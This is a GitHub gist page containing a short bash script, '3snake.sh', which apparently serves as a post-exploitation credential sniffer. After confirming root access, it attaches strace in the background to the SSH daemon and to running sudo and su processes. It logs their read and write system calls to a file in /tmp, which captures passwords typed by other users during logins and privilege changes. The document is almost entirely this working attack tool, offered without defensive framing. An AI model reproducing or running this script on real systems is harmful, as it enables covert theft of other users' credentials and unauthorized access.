Created
February 8, 2018 22:01
-
-
Save blendin/7f1a219b848accc89999d61895a75d61 to your computer and use it in GitHub Desktop.
3snake.sh
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| # pretty well known, if you have root you can trace all processe on the system | |
| OUTFILE="/tmp/test" | |
| if [[ $EUID -ne 0 ]]; | |
| then | |
| echo "Need root" | |
| echo "$EUID" | |
| [ $PS1 ] && return || exit; | |
| fi | |
| snake_ssh() { | |
| PSSHD=$(ps aux | egrep "/usr/sbin/[s]shd"); | |
| SSHD_PID=$(echo $PSSHD | awk '{print $2}'); | |
| strace -p $SSHD_PID -f 2>&1 | grep "write" >> $OUTFILE; | |
| } | |
| snake_sudo() { | |
| SUDO_PIDS=$(pidof sudo |sed 's/\([0-9]*\)/\-p \1/g') | |
| if [ ! -z "$SUDO_PIDS" ]; | |
| then | |
| strace -f $SUDO_PIDS 2>&1 | egrep "read" >> $OUTFILE; | |
| fi | |
| } | |
| snake_su() { | |
| SUDO_PIDS=$(pidof su|sed 's/\([0-9]*\)/\-p \1/g') | |
| if [ ! -z "$SUDO_PIDS" ]; | |
| then | |
| strace -f $SUDO_PIDS 2>&1 | egrep "read" >> $OUTFILE; | |
| fi | |
| } | |
| snake_ssh & | |
| snake_sudo & | |
| snake_su & |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment